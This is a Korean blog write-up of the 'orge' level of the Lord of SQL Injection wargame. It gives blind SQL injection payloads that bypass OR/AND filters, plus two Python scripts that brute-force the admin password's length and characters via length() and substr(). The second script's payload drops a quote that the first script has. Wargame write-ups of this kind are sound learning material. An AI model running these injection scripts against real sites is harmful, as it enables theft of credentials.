[LOS] – orge 힌트 및 풀이
글 작성자: Universe7202
힌트1. 이전 문제와 비슷하다. 다른점이 있다면 pw를 알아야 한다는 것.
힌트2. 그렇다. Blind…
풀이.
최종적인 목표는 id=admin이고 admin의 pw를 알아내야 한다.
우선, or과 and를 우회한 다음 적절한 쿼리를 넣어서 pw 길이를 알아내보자.
첫번째 쿼리에서 id=’guest’ 라고 되어 있으므로 이것부터 우회 해야한다.
?pw=1’||id=’admin
이렇게 하면 일단 admin으로 로그인이 되지만, pw가 맞지 않아서 풀 수가 없다.
일단, pw 길이를 알아야 하기 때문에 다음과 같은 값을 보낸다.
?pw=1’||id=’admin’%26%26length(pw)=1%23 => %26은 &, %23은 #
pw길이가 1자리는 아니다. 대소관계를 사용해서 >,<로 pw 길이를 알아내도 된다.
근데 난 짱짱python으로 pw길이를 찾을 것이다.
import requests
import string
import time
wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'PHPSESSID=값값값값값',
'Connection': 'close'
}
'''
######## Find the password length #######
'''
print("Searching password length...")
for count in range(1,20):
time.sleep(0.5)
url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1'||id='admin'%26%26length(pw)="+str(count)+"%23"
req = requests.get(url, headers=header)
print(url)
if req.text.find("<h2>Hello admin</h2>") != -1: # if not found, return -1
print("password length : %d" % count)
break
pw 길이를 찾았다.
이번에는 substr 함수를 이용해서 admin의 패스워드를 알아내보자.
import requests
import string
import time
wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
'Cookie': 'PHPSESSID=값값값값',
'Connection': 'close'
}
passwdLen=8
print("Searching password...")
for count in range(1,passwdLen+1):
for string in range(len(wordList)):
time.sleep(1)
url = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=1||id='admin'%26%26substr(pw,"+str(count)+",1)='"+str(wordList[string])+"'%23"
req = requests.get(url, headers=header)
print(url)
if req.text.find("<h2>Hello admin</h2>") != -1: # if not found, return -1
print(wordList[string])
break
(위에 툴 돌려봤는데 학교측이 이상한 건지 계속 끊긴다… 답은 알아서 찾도록)
'🚩CTF' 카테고리의 다른 글
[LOS] – vampire 힌트 및 풀이 (0) | 2019.04.06 |
---|---|
[LOS] – troll 힌트 및 풀이 (0) | 2019.04.06 |
[LOS] – darkelf 힌트 및 풀이 (0) | 2019.04.06 |
[LOS] – wolfman 힌트 및 풀이 (0) | 2019.04.06 |
[LOS] – orc 힌트 및 풀이 (0) | 2019.04.06 |
댓글
이 글 공유하기
다른 글
-
[LOS] – vampire 힌트 및 풀이
[LOS] – vampire 힌트 및 풀이
2019.04.06 -
[LOS] – troll 힌트 및 풀이
[LOS] – troll 힌트 및 풀이
2019.04.06 -
[LOS] – darkelf 힌트 및 풀이
[LOS] – darkelf 힌트 및 풀이
2019.04.06 -
[LOS] – wolfman 힌트 및 풀이
[LOS] – wolfman 힌트 및 풀이
2019.04.06